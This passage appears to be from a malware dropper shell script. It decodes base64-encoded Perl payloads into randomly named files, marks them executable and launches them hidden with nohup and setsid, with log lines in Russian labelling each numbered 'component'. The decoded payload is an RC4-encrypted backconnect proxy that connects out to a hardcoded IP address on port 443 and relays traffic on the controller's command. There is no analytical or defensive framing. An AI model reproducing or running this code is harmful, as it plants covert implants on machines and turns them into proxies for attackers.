b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #58 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #58 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 59 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 